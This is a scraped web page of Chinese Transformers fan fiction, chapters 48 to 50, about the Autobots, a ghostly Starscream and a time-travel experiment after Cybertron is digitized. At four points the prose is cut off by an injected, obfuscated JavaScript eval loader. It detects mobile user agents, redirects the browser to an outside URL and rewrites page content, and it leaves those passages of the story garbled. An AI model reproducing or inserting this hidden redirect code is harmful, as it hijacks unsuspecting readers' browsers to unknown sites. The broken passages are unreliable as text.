“没必要道谢,只要告诉我事情的全貌就行。” “……我会的,我和警车会把事情告诉你。” 奥利安说完,挂断了通讯。 但愿天火到时候还能保持冷静。他忍不住这么想着。以防万一,交涉的时候最好把救护车也带上。 —— ———— “你说‘梦’。” 在长久的沉默后,海格特说。 “的确,这不是机器应该有的概念,虽然不知道震荡波为何会执着于让一台机器像个塞伯坦人那样活着,但说不定他的目的已经达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“作为类塞伯坦人的你,还有作为足以灭世的恐怖机器的你,我不知道你能将这两个身份控制到什么地步,但如果因为统合而发疯,到时候你做的一切也就没有意义了,我倒是期待你自我毁灭的场面。” “你在威胁我?”有些意外地说着,海格特抬起头看向红蜘蛛,“很遗憾,陷入疯狂也没关系,我要做的事是不会改变的,机器有机器的运行逻辑。” “真会摆架子,但如果真的想威胁你,我大可以用让灵魂毁灭之类的方式——因为你的底层逻辑就是希望每个火种都获得幸福,那么消亡就是最能直接伤到你的方式。但这种做法也就相当于把评判标准交到你的手上,所以有点恶心,还是算了。” “那你要做什么?如今你仅剩下灵魂,说得难听点,世上除了我之外,可能已经没有能见证你存在的人,这难道不正说明了你留在这里的必要吗?” “我无论如何也不会留下的。” “至少给我一个理由。” “很简单,我讨厌这个地方,所以我要走了。” 说完,没有丝毫留念,红蜘蛛的灵魂迅速变幻形态,向着高处,向着宇宙深空飞去。 看着那渐行渐远的幽灵,以及那几个在星空中充满忧虑,却仍然熠熠生辉的火种,海格特露出一个笑来。 “也就是说,你想证明流动的世界,比静止的世界更好。” 他不紧不慢、游刃有余地说着。 “那我期待你们的表现。” 48.第四十八章 推进系统、能源系统、导航与控制模块……一切正常。 科学卫星上,小诸葛检查着眼前飞船的参数,最后视线落在货物舱中显示的一片阴影上。 对于这个地方,寻常的探测手段全都无效,连物理爆破都试过了,但无一例外都以失败告终。 显然这片区域被赋予了某种尚未普及的黑科技,多半是震荡波做了什么手脚。 “……这不科学。” 小诸葛喃喃出声。 “你说什么?”正在检查飞船外部结构的千斤顶从一旁探出头来。 “哦没什么,只是这艘飞船上有部分空间我无法探知。” 青白色涂装的科学家轻描淡写地说着,身后的机翼却用不自然垂下的弧度显示着他的心情处于焦躁中。 千斤顶看向感知器,而后者稍微思考了一下道:“除了科学问题,你可以试着把事情归结于社会经验。” “那你说这是什么?” “数据显示,这艘飞船的所有者是震荡波,”感知器说,“这种规格的宇宙飞船可能会留下一到两个保密空间,用来储藏最重要的设备或样本,仅船长和最高工程师有权限打开。” “而且这些空间完全有可能是空的,”千斤顶补充,“别太在意。” 小诸葛点头,语速极快地回应:“感谢你们的常识科普,但这艘飞船是我亲手造出来的,我记得根本不存在那种保密空间。” 此话一出,在场所有人,包括那些从飞船上下来,正在附近的航空港活动机体的船员也侧目看了过来。 “看我干什么?”小诸葛一脸无辜地摊开手,“不相信的话我这儿还有原始版的设计图。” “我想他们并非不信任,而是在重新评估飞船的安全性。” “那也应该质疑震荡波,而不是我,他不允许我对设计进行任何改动,甚至在建造坞装了监控,出了任何问题我都不负责。” 每句话都暗示着那位科学家新的阴谋,但在短暂的思考后,警车提出了质疑: “我们会检查货舱,但在那之前,资料显示你就职于新政府,又为什么会听震荡波的话?” 要知道,那个人已经从参议员彻底辞职,按理来说没有什么瓜葛了才对。 他审视起眼前这个履历可疑的科学家。 资料显示,小诸葛曾经在竞天择的机构工作,负责一些新的脑科学设施的研究,其中不乏一些后来被用在无辜异见者身上的设备。 当时锁芯从机械法医辞职后,警车曾经短暂地查过他的下落,所以也查到了作为锁芯——现在是合金盾了——同事的小诸葛。 “天呐,突然翻旧账干什么?” 注意到他的视线,青白色涂装的科学家大致猜到警车在思考什么,顿时愤愤不平起来。 “每当我创造出新的伟大科技成果,我就是在创造新的未来。至于这东西导致的是灾难还是善举,这些定义只不过是威胁或者诱饵罢了。而事实就是——没了这艘船,你们现在一个人都不会在这里。” 话说得义愤填膺,正气凛然。 但实际上,小诸葛却有点心虚。 总不能说,是因为震荡波不知为何发现了他对科学家夸克的好意,所以告诉他如果不造飞船就会把事情捅出去吧! “我认为这些事至少不该现在提。”本来正在和救护车叙旧的天火也过来打起圆场,“小诸葛没有亲手杀过人,他的研究虽然曾被滥用,但他本人是个优秀的科学家,是我们现在需要的人才。” 见状如此,警车也没再说什么。 他刚刚那些话,其实也是不想整件事又陷入某种阴谋,甚至现在想想,震荡波选择留在塞伯坦,或许也是用这种做法让他们免于永无止境的责任归属和猜疑中,而是专注于解决眼下的事。 “抱歉。”他选择退了一步。 “哦……什么?”小诸葛瞪大光学镜,“你道歉了?你居然会道歉?合金盾骗我?” “这不在我们的讨论范围内。”警车皱了下眉,结束了这个话题,“是时候去那些状态异常的保密空间看看了,至少排查一遍其中有没有危险物品。” “说得轻巧,连我都打不开的地方,只可能是利用了空间技术,你有什么好注意?” “船上碰巧有个能让任何电子设备失效的异能者。” “啊,开挂。”小诸葛不满。 几乎所有人都同意或默认了这个提议,但是在行动前,他们却被另一个声音叫住。 “等一下。” 说话的是从刚才开始就在低头查看设计图的感知器。 “我在想,既然设计图纸上标注过‘非必要时刻绝对不能打开’,那或许有他的理由。” “比如什么?” 感知器:“他或许在做某种实验,比如参与性宇宙的干预计划。” 小诸葛:“或者观测者效应?” 感知器:“没错。” “呃,我不是想打扰你们两个玩科学术语接龙,”热破打断了他俩,“但震荡波都已经不在了,你们为什么还在意他要做什么实验……呃。” 他话刚出口就反应过来自己提得不合时宜,于是尴尬地移开了视线。 在场众人或多或少都有还留在塞伯坦上的朋友,他们好不容易暂时忘记,现在又再次意识到那些人的命运,这无疑是个沉重过头的话题。 气氛一时间变得有些伤感。 直到一个声音突兀地响起。 “他们没有死,都还在塞伯坦上。” 众人愣了一下,发现说话的人是大黄蜂。 “……谢谢你。”将这句话当成宽慰,奥利安将手搭在侦察兵的肩膀上,“你说得没错,我们要相信希望。” 然而明黄色涂装的小型机却更坚决地摇了摇头。 “我知道这话有点离谱,但请相信我,塞伯坦上无论是建筑还是生物都被数据化后静止在原地,大概没有任何数据丢失,完全有恢复的可能,所以不要太难过。” “……” 所有人都愣住了,吃惊地看着这个理应和技术、科研等领域完全无缘的小侦察兵。 “你是怎么知道的?”率先找回自己声音的警车问道。 然而这个时候,刚才还非常健谈的大黄蜂却又突然不说话了,那表情像是听到了什么令人不快的内容,他闷闷不乐地朝着左边移动了一步。 感知器立刻扫描了大黄蜂右侧的空间,但什么也没扫描出来。 “你还知道更多吗?”他问了一句,同时还喃喃着些“脑电波截取?”“精神操控?”“多重人格?”之类的词。 大黄蜂只是道:“海格特没有透露更多信息。” “所以你能跟那个人交流?”警车皱起眉,“到底怎么回事?” 但面对逼问,侦察兵不说话了。 “等等,你们在说海格特?” 天火困惑地望向过去。 “这里有他什么事?他不是没能登上你们的船吗?” 这下,场面陷入一片更加沉闷的死寂。 显然信息差导致天火不知道最关键的那些事,察觉到风暴即将到来的架势,热破找了个借口先跑了,然后先进技术学院的前学员们也说要回飞船休息,千斤顶、铁皮和探长则是真的要离开去准备给飞船添加燃料的事。 总之,最后现场只剩下没几个人。 “从现有数据来看,”最先开口的是通天晓,“海格特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178164|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是导致塞伯坦变成如今状态的元凶。” “……什么?” 像是没听懂,天火又问了一遍,但奥利安、救护车等老朋友都对他点了点头,说事情的确是这样。 于是,一段时间的解释后—— 天火的主动力系统发出一阵震耳的轰鸣,他进入了战斗模式,引擎爆鸣着,武器开始充能,连常年不戴的面罩都咔地一声合上。 看那架势,下一秒就要去找谁拼命。 “冷静点,大个子,”救护车劝阻道,“海格特需要专业的精神分析,而不是……” 他还没说完,天火就开了口。 “那个炉渣议员居然让那个孩子签了助理合同?还骗了他的感情——长达几百万年,导致他把塞伯坦变成现在这样?我真的受不了了!” 虽然这些也是事实,但你是怎么把话听成这个版本的? 以为自己已经尽可能客观讲解的几人感到了一阵迷惑。 但是面对暴怒到仿佛下一秒就要开始轰/炸模式的天火,他们又不得不想办法安抚对方的情绪,不然这个有着国防卫兵级别实力的科学家可能真会把科研卫星给炸出一个洞。 就在这时,只听大黄蜂突然开口问了一句: “什么?D.0.C是谁?” “……?” 刚刚还愤怒到几乎立刻升空的天火听见他的话,忽然结束推进,落了地。 “你怎么知道D.0.C的?” 那是他制造的一台小型悬停无人机,有着基础的智能,从分类上来说,和海格特一样都是机器。 但大黄蜂一如刚才,只是露出一副有苦说不出的样子,甚至还对着旁边的空气比划了几个手势,做了几个表情,就好像有谁在阻止他开口,而他正在据理力争似的。 “……你是不是该去治疗一下?” 被这么突然一打岔,天火也从战斗模式恢复正常。 “我想是的。” 其他人都走之后,大黄蜂跟着救护车去了医疗室。 虽然叫“科学卫星”,但这地方其实是一个巨型宇宙空间站,最初的建造意图是作为航空中转,后来附近的矿产卫星枯竭,这里就连带着被废弃了,直到天火以自己的名义将其改造成科研点位。 因此,其中大多数地方很快就能到达。 “我在想应该给飞船起个名字的事,”在进入卫星的医疗室后,救护车说着,“千斤顶刚刚跟我说现在用编号登记起来太麻烦了……总之,我们来说说你的情况吧,孩子。” 大黄蜂嗯了一声,坐在他面前的位置上。 “你还记得自己的名字吗?”救护车问。 “呃,我觉得不需要从这么基础的地方开始,我可以肯定自己的记忆数据是完整的……” “好吧,那至少给我一个切入点,你知道,我一般不负责心理咨询。” “谢谢您,医生。” 大黄蜂稍稍松了口气。 “其实我觉得自己没有出毛病,但我不太信任我自己。” “……为什么?” “您知道我在战前,曾经被霸天虎的异能者操纵着运送了一个炸/弹的事吗?” “据我所知,那次只炸毁了一座空建筑,而且那个阴谋及时被发现了。”救护车微微皱起眉,“你对那件事有心理阴影?可以跟我说说。” “虽然不至于到阴影的地步,但毕竟脑模块被操纵过,所以现在遇到类似的事,我也在怀疑到底是不是真的。” “你说出来我才能判断。” “……好。” 大黄蜂努力点了下头,然后用一种难以言喻的表情,认真地盯着救护车道: “我看到了幽灵。” 49.第四十九章 寂静、纯白的塞伯坦上。 在被电子流覆盖的世界里,只要将所有数据与雾气挂钩,再传回自己的处理中心,就能使用至高之门作为数据库的机能,获得全塞伯坦的情报。 海格特正在进行数据整合,清点人数时,却发现有几个自己熟悉的人不见了。 抬起头来,在宇宙中也找不到。 “去哪里了……?” 可能在更远的地方,但在失去望远镜的当下,自己也无从找起。 发生了什么呢? 不惜做到这种地步也要离开自己身边吗? 虽然有些失落,但眼下比起寻找那些人,还有更重要的事。 ——通过数据整合,他发现了很多在过去被报告失踪的塞伯坦人。 大多数已经在锈蚀海、极地等无人的危险地带变成了一块废铁,另外一些则是被困在远离人烟的地方,火种还没有熄灭,只是进入了类似软终结的停机状态。 在某处平原的地下,海格特发现了一个被埋于此处的迷你金刚,从机体状态的数据来看,他至少已经被埋了两百万年。 “真可怜……” 被数据化后,至少这些失踪者不会永远这么孤独下去。 让每个人都能被看到,见证所有人的生与死。 ——这或许就是自己的存在意义。 作为静止世界中唯一还能移动的存在,海格特打算短暂调整区域范围内的数据流,好把那些可怜的塞伯坦人从被困住的地方救出来。 机器的身躯恢复了色彩,开始在平原上展开救助工作,而就在这时,他感觉到了一道视线。 是之前袭击了震荡波和自己的那种,来自某个异空间的攻击。 “还不死心吗?” 和之前的束手无策不同,掌握了全塞星信息的至高之门瞥向能量传来的地方,下一秒,那些致命的激光和子/弹就全都化作无害的白色烟雾,散在空气中。 就像修剪金属植物多余的枝条那般。 对不需要的多余数据,直接用简单的演算式来删掉、消除就可以了。 “但是这个技术,好像在哪里见过……” 他检查着那些被剪下的数据,在其中发现了一些熟悉的痕迹,于是心情有些愉快起来。 “原来如此。” ——对方也是塞伯坦人。 至高之门随手将剪下的数据抹消,而后开始有些期待地思考。 既然让所有塞伯坦人获得永恒的幸福就是自己的使命,那么那些袭击者也不能例外。 如果对方还有行动,那下次,要不要反向入侵对方的位面试一试? —— ———— 另一边,科学卫星,会议室。 长桌旁坐满了人,大黄蜂有些局促地坐在最前方的位置上,面对着一众面色凝重或怀疑的人,他看了一眼身旁的空气,然后做了个深置换,让自己冷静下来。 “呼……请问吧。” “好的,那就开始,”最先开口的是通天晓,他手里拿着数据板,大概已经整理好了一连串的问题,“塞伯坦上除了你之外,还有谁能进行移动?” 大黄蜂点了点头,沉默了。 他像是在专注地聆听着什么一般,然而在过了许久许久之后,只是回答了一句: “没有。” “哦好极了,我们现在有一个灵媒作为证人。”警车看上去还是不太相信,“你们真的要做这么荒唐的事?” “数据库中关于‘灵媒’一词的定义是幽灵附体者,”感知器面色认真地反驳,“据大黄蜂所说,他能看见红蜘蛛的幽灵,而不是让幽灵附在他身上行动,两种情况并不一样。” “好的,随便你怎么说,”警车头疼地扶额,“下一个问题,塞伯坦内部现在是什么情况?” 大黄蜂看向旁边的空气,喃喃着:“你要数据板?好的,稍等……是这么画吗?呃,稍等,我试着跟上你的动作……” 他简要地绘制了几个画面,递给警车,在场的科学家们顿时充满兴趣地凑过去。 这时,通天晓问了下一个问题:“海格特跟你说了什么?” 大黄蜂又听了一长串内容,然后将其转化成简短的句子: “海格特将塞伯坦数据化,并且他看上去认为自己在做好事。” “你能回去试着说服他吗?” “不行。”这次回答得很快。 “或许你们可以再沟通一次。”奥利安提议道。 “……” 这次大黄蜂似乎又听见了什么不好的内容,在良久的沉默后,他皱着眉斟酌起措辞:“我们……呃,闹掰了。” 会议室里传来几道叹气声。 但至少大黄蜂从提供的画面来看,他并不是在压力之下产生幻觉或者在胡编乱造,于是会议继续进行,等通天晓问完他数据板上那长长一串问题,才总算解散。 会议结束后,大黄蜂疲惫地回到自己房间。 “我让你如实转述,如实!”红蜘蛛的幽灵在他旁边抱怨着,“你是听不懂吗?” 闻言,一贯善良又温和的小型机心情复杂地看向他。 “天火的脸色已经很糟糕了,”他说,“最好体谅一下他的心情,你那些骂海格特脑子有问题、说他应该被想办法彻底干掉之类的话,我实在不想说出口。” “你让我体谅一个霸天虎的叛徒?” 红蜘蛛嗤笑着说了一句,他还想继续说点什么,但大黄蜂已经躺在电路板上开始充电,他刚才被盘问得很累,看上去也不想继续这个话题。 于是幽灵也失去了兴趣。 现在的状态真的很无聊,脚踩在地上没有声音,飞起来也听不见引擎的轰鸣。 他其实想让大黄蜂问问其他科学家有没有办法给幽灵打造一个身体,但或许是出于自尊心,又或许是作为霸天虎仍然对汽车人心怀恶意,总之,最后也没有开得了口。 红蜘蛛随意地坐在客舱的窗台上,哼了一声:“没想到你们还收留霸天虎。” “霸天虎?哦,对。”大黄蜂反应了一下,回答道,“但我觉得这不是收留,事发突然,死锁是被带上来的伤者,丧门神是被他的同学找到的。” 短短几天的工夫,却像是经历了几百万年那样漫长。 以至于他都差点忘了他们还有派别之分。 ……不,等一下。 是从什么时候开始,他们塞伯坦人开始用汽车人和霸天虎称呼彼此呢? 他思维发散地想着,突然听见红蜘蛛问了一句:“除了这些人之外的霸天虎呢?” “除此之外就没有别人……哦对了,还有你。天火已经不是霸天虎了,希望你没把他算进去。” “哼。” 大黄蜂这平常的语气,让红蜘蛛也只能咽下那些多余的冷嘲热讽。 同时也隐瞒了另一件事: 他刚才在会议室的时候,看见有一道黑影出现在通风口里,大概是安装了注意力转移装置,却瞒不过作为幽灵的他。 但红蜘蛛只是将这件事当成秘密藏了起来,没有告诉任何人。 他看向窗外。 因为所有通往塞伯坦的航线都被迫暂停,窗外的宇宙空间显得格外澄澈,一丝杂物都没有了。 于是,被白色光辉笼罩的塞伯坦,那颗曾经反射着黄矮星的光辉,如今却自成一体,拒绝任何外来物造成“改变”的无暇星球…… 不知为何,看上去就像一个永恒的牢狱似的。 —— ———— 与此同时,飞船的驾驶舱兼临时作战指挥室内。 警车有些头疼地看着数据板,整理着刚才获得的所有数据。 “为什么偏偏是红蜘蛛……” 如果随便换个其他人变成幽灵,他都觉得可以借此机会实现和海格特的有效沟通。 但眼下抱怨也没用,如果幽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15191648|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵真的是由于火种中的执念,或者其他类似的原因形成的,那不是红蜘蛛那种扭曲的性格,恐怕也没办法。 警车有一瞬间想起林格,如果那个人能成为幽灵…… 但只想着已故之人,是不会得到什么新事物的,所以他很快作罢。 “就算换成其他人也没用吧,”铁皮抱起手臂,“谁也不知道机器会想什么。” 尤其那还是一台状态异常的机器,哪怕是让最专业的心理医生过来,恐怕也没法说服他。 “说到相互理解,我倒是想起来,以前在技术学院见过一个人……” 正在调整飞船控制系统的刹车似乎想起什么,但很快自嘲地摇摇头。 “当我没说,既然那个人不在船上,肯定也被数据化了。” “不一定。” 一个声音在他话音未落时响起。 众人转头看去,发现是感知器,他正站在驾驶舱的门口,维持着一个即将敲门的动作,在说完话后才遵守社交礼仪地敲了敲门。 “什么不一定?”刹车问。 “你说的人,他不一定没有逃出塞伯坦,”红黑色涂装的科学家解释说,“还记得飞船货舱上那些不可观测的区域吗?根据我们刚刚研究出的结论,那里其实是一个非线性时间域,在时间线完成闭环前无法显示出里面应有的东西……” “等一下,”铁皮头疼地打断他,“尽量用我们能听懂的话说。” 于是感知器陷入了思考。 “我明白了,他的意思是……那些区域里可能存在塞伯坦人,但是让他们‘出现在那’的行动发生在未来。” 出人意料的,这次说话的是警车。 “做个最简单的假设——我们现在回到过去,将塞伯坦上的某人带到了飞船上,那这里就会产生一个问题:明明我们一直以来都没在飞船上见到这个人,他的存在与我们的记忆相悖。” 已经发生的事不能改变,要是想强行更改,谁也不知道会发生什么灾难。 “原来如此,”奥利安·派克斯率先明白了他的意思,“所以需要一个空间暂时安置那些人。” “对,薛定锷的涡轮狐狸定理。”感知器点头。 “等一下,”刹车忍不住打断他们,“虽然你们说得头头是道,但这个前提我就搞不明白,难道你们都相信时间旅行是可能的?” 他特地看向警车。 按理来说,这里最不可能相信什么非线性时间概念的人就是他,然而这位严谨的逻辑学大师却是率先开口赞同的一个。 见状,警车只是移开视线。 林格的事情解释起来太麻烦,那次经历已经让他确定时间穿梭不是不可能。 “关于这个,”感知器的表情突然郑重起来,“我希望你们来一趟实验室。” 片刻后,实验室内。 天火和千斤顶正在调试设备,小诸葛则站在一台机器旁边进行记录,在这个不算大的地方,毫无疑问集中着塞伯坦顶尖科学家们的智慧。 “噢,你们来了,”看见众人,小诸葛的声音难掩兴奋,迫不及待地伸手做了个展示的动作,“来看,这是我做的时光机器——” “什……”众人惊呼。 “——的初级原型,它并不能真的把人传送到过去。你们不会真信了时间机器吧?哈,发明那种东西还是天方夜谭,至少得花上百万年吧,尤其是脱离了塞伯坦上的资源和设备,普神来了都造不出。” “……” “你下次一口气把话说完可以吗?”有人抱怨了一声。 “是你们缺乏听人把话说完的耐心。不过,虽然不能直接做到把人送回过去,但它能将人的思维数据化后短暂地送回过去,大概五分钟左右,虽然很短,不过已经来得及做很多事。” 小诸葛眯眼笑着,在众人震惊的目光中摊开手,做了个类似谢幕的夸张姿势。 “那么,有谁想来一起阻止海格特毁灭世界?” 50.第五十章 “铛铛铛……” 急促的奔跑声在格拉斯1号的走廊上响起。 每迈出一步,金属相击的强烈震动就从脚下向上蔓延,许久没有活动的机体被如此折磨,发出尖锐的疼痛感,报错警告在处理中心回荡,但旋刃毫不犹豫地将其无视,反而加快了速度。 “谁怕谁啊!” 哪怕机体就在这里崩溃也无所谓,反正他心里是前所未有的畅快。 灯光自身后黑暗的走廊上一排排开启,就像舞台上的装置似的。 作为被判断为精神不稳定的囚犯,旋刃今天本被安排了一场心理评估。 这场会面全程都被严密监视,不会给犯人任何可乘之机……理应如此。 直到尖锐的警报划破整座监狱的空间。 “喂!怎么了?” “这边,来看这边……” 设施似乎出现了某种动乱和严重的故障,甚至连原本的看守也无暇顾及他,直接从门口离开,不见踪影。 这种时候要是还不跑,简直就不是塞伯坦人。 所以旋刃毫不犹豫就趁乱跑出去了。 “哦对。” ——顺便还不忘拉上那个可怜的心理医生做人质和垫背。 就这样拽着医生一路奔逃。 那些追击他的看守似乎被其他什么事分了神,以至于旋刃甚至找机会除去了自己手脚上的镣铐,一路逃到格拉斯1号的航空港口。 然后对着那无尽深渊,纵身一跃。 “耶!” 破风而行的感觉畅快无比,好像什么烦恼都能从此遗忘。 “啊啊啊——!” 和兴奋的逃犯截然相反,那个瘦小的,橙色的心理医生毫无准备地被甩到半空,只能一边惨叫,一边努力地抱住旋刃变形后的直升机尾部。 随后旋转着掉在一艘逃生艇上,跟着旋刃拉开大门的动作摔了进去。 不等荣格喘口气,逃犯就已经跑到飞艇的操作台前胡乱点了一通,然后开着启动的飞艇冲出格拉斯1号的大气层。 这一切都发生得太快了,事情还有些异常之处来不及思考,但这丝毫影响不到旋刃的好心情。 “真爽!要是再有把武器就更好了,我迟早把这帮混蛋杀个精光,把他们的脑模块都打出*来,然后**之后*……” 他说了一连串的脏话,像是总算有机会把这段时间积攒的负面情绪全部打包呕了出来。 仅仅因为想做的职业和变形模式不符,仅仅是没有给帮派交钱,就被抓去私下做了俱五刑,连一双能操作精密仪器的手都没了,沦落为只能帮上面的人做点黑活的混混。 最后,还反过来被抓进监狱。 说真的,旋刃都不知道自己疯没疯。 逃生飞艇在剧烈地摇晃,与其说在飞行,不如说在瞎转。 旋刃根本不会开飞船,只是在乱按而已——而当他碰运气打开自动巡航模式时,甚至向太空发射了颗导/弹。 看着它跟陨石炸开一道烟花,罪魁祸首发出愉快的笑声。 然而,就在爆炸后产生的寂静空白中,旋刃突然意识到一件事。 ——不知为何,刚才还在不断悲惨哀嚎着的荣格突然没声音了。 撞昏过去了,死了?还是想装晕? “我只警告你一次,别想耍小聪明。” 旋刃一爪子猛地伸了过去,卡在心理医生的脖子上,作势要把他拎起来。 但是后者没有任何反应,只是维持着原来的姿势,一脸呆滞地看着窗外某处。 旋刃有些疑惑,也顺着看去,于是这下连他自己的动作也顿住了。 “这他渣的怎么回事!?” 从逃生艇的侧窗往外看去,刚好能看到一片白色的巨大星球在宇宙中静静地漂浮。 那里是——至少曾经是塞伯坦。 难道我真疯了?酷啊。 旋刃不由得这样想着,没注意到刚才还在看着窗外发愣的心理医生此刻已率先缓过了神。 荣格先是不动声色地看了他一眼,然后悄悄按下自己大拇指侧面一个不起眼的按钮,用特殊频率向外发送了紧急求救按钮和定位。 —— ———— “刚才一分钟内,我连续收到了数条来自格拉斯1号的紧急求助信息。” 科学卫星上,通天晓查看了内部通讯,对在场众人说着。 “考虑到监狱发生暴动的可能性,我还需要一个帮手。” 哪怕在这种极端情况下,维持秩序依旧是必要的。 “我……” 奥利安刚要开口,他旁边的感知器就率先向前。 “我在事情发生的时候远离海格特所处的尼昂市中心,”黑红色涂装的科学家一边说着,整理起自己的外置装备,“就算意识被传送回过去,短短五分钟无法做出有效行动,另外,我的内置数据库前不久刚安装了远程支援模块。” “哇哦,帅呆了。” 小诸葛颇有戏剧性地对他比了两个拇指。 在两人离开后,他又看向在场的其他人。 “所以,决定一下将思维穿越回过去的人选?” 比起把可能派上用场的人带到飞船上这条路,众人首先考虑的是找机会直接改变海格特的想法,让他尽快停止这场灾难。 所以首先,天火、千斤顶等当时都不在塞伯坦的人肯定不行,虽然天火提出说自己可以给海格特打个电话,但可行性还是太低,于是被驳回了。 刹车等当时早早准备在飞船上的人同理。 剩下的几乎就只有奥利安小队和热破几人,从各种意义上来说,奥利安无疑是最好的人选,但警车却给出了反对意见。 “你当时正在作为汽车人代表跟霸天虎谈判,想过突然离开的后果吗?我们的目标是拯救塞伯坦,而不只是解决海格特。” 他说的话也有道理,铁皮和探长也表示了赞同。 “那我去。”热破说。 但警车只是看了他一眼:“这世界上有两种罪犯,一种是你知道他会做什么的,另一种是你不知道他要做什么的,海格特对你来说显然是后者。” “哦说得好像你早就料到现在的状况似的。” “我是没有料到,但我的数据库里有大量和他接触的案例信息,所以用数据来说,我去说服他的可行性更高。” 他随意列举了几个数据模型——说实话在场几乎没几个人看得懂,但从小诸葛和其他科学家的反应来看,应该是正确的。 “那就决定了?”青白色涂装的科学家说,“你们这场辩论赛结束得比我想象的要快不少。” “是啊,就没人觉得这件事不对劲,想阻止他一下吗?” 说话的是红蜘蛛的幽灵。 可惜的是这话只有他自己和大黄蜂能听见。 “什么意思?”大黄蜂小声问。 “那家伙明显别有所图——就在听说能把意识传送回过去五分钟的时候开始,那个战术家的微表情就变了,就像是想到了什么事情,但他选择瞒着你们。” 大黄蜂困惑地看向警车,后者已经坐在传送装置前的位置上开始在小诸葛的指示下戴头盔,从表情上来看完全看不出什么问题。 “可能他有自己的计划,但我相信他。”大黄蜂说。 “随便你们,反正倒霉的不是我。” 像是感到无趣,红蜘蛛转身不再看他们。 另一边,小诸葛和千斤顶最后调整了一下设备,跟警车确认了时间节点。 “这个时候大概是竞天择刚倒下不久,你还记得自己当时在干什么吧?” “我当时在尼昂的地下实验室,就在目标身边。” “好,那就开始。” 话音落下,警车突然就感觉头上传来细微的电流声,紧接着视野一阵扭曲。 一种模糊的直觉告诉他,自己回到了实验室。 此时海格特刚结束了对警车意识的最后一次切换,还在因为林格的离去而伤心,他维持着握住警车双手的姿势,若有所觉地抬头看了他一眼。 “……” 警车即将脱口而出的文字忽然卡在喉咙里,紧接着是一种极度难受的异样感。 像是灵魂正在被世界拒绝。 全身的能量管线似乎都被冻结了,但与此同时胸口的火种舱却仿佛即将从内测爆炸。 那个热量几乎令人发狂。 结果就是,还没来得及说一个字的警车又失去了意识。 再次恢复清醒的时候,看到了陌生的天花板。 根据逻辑电路传来的反馈,自己正在飞船的医疗坞里躺着,那股极度不快的痛苦感受也烟消云散。 ……回来了。 这基本上也就意味着,他的猜想成功了。 警车这样想着,还没来得及动,突然听见旁边传来有人争吵的声音。 “这不是可以被接受的误差范围。” “有什么不能被接受的?通往真理的道路上总是伴随着牺牲,再说是他主动参加这个实验……” 于是警车装作刚刚苏醒,坐了起来。 “这个意识传送真的是五分钟吗?”他问,“我怎么觉得五秒都没有?” “……” 这个动作让那两人顿时噤了声,紧接着其中一人快速凑上前。 是小诸葛。 他用一种像是从未见过塞伯坦人的诡异目光,打开探照灯观察了一番警车的光学镜,又跟他对视了一两秒,最后难以置信地向后仰去,抱起自己的头雕: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15202572|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“哈——!?醒了?” 声音回荡在不算宽敞的医疗坞,把旁边正在治疗舱里的死锁都吵醒了,这个可怜的霸天虎迷迷糊糊地看过来,但马上又被救护车一针麻醉药物放倒。 警车皱起眉:“看上去你盼着我醒不过来。” “当然!”小诸葛口无遮拦地说,“你不应该醒过来的,这根本不合逻辑,你的意识,你……!” 说实话,他别的什么地方都很强,就是胆气不足,容易神经脆弱,在关键时刻掉链子。 “我来解释。”终于看不下去的天火走过来道,“冷静点听我说,如果小诸葛给出的数据没出错,你的意识有五分钟回到了大约两百万年前。” “……什么?” 果然。 “据我们推测,是因为海格特的视线能看到火种,而当你的意识被传送回过去时,火种大概也产生了相应的细微变化,这与他已经观测到的既定事实不符,所以时空产生了排斥反应,你的意识就被瞬间强制切出。” 天火叹了口气,看上去有些无力。 “抱歉,但被瞬间送回那么久远的过去,脑模块和火种毫无疑问会被烧坏,然而你现在安然无恙,我们也不知道该怎么解释。” “不管怎么说,他没事是吧,所以我的设备没出错,这只是个意外,可能是显示屏的问题……” 小诸葛为自己据理力争着,而下一秒,他就听见了一道声音—— “没事,谢谢你们的工作。” 是警车。 不但没有追究他的责任,甚至一反常态地道了声谢,脾气好得过分。 这下所有人都看不懂了。 “这,你……”小诸葛光学镜瞪得更大,然后原地转身拍了下手,“确实是这么回事,我们可是在拯救塞伯坦。” 警车的确没再说话。 他感受着火种的能量,轻轻在心里说了句“这下就两清了。” 因为被送回过去的意识不是自己,而是林格。 当他听到小诸葛有这个研究的时候,就意识到那人当时能回到过去写下邮件就是因为这件事。 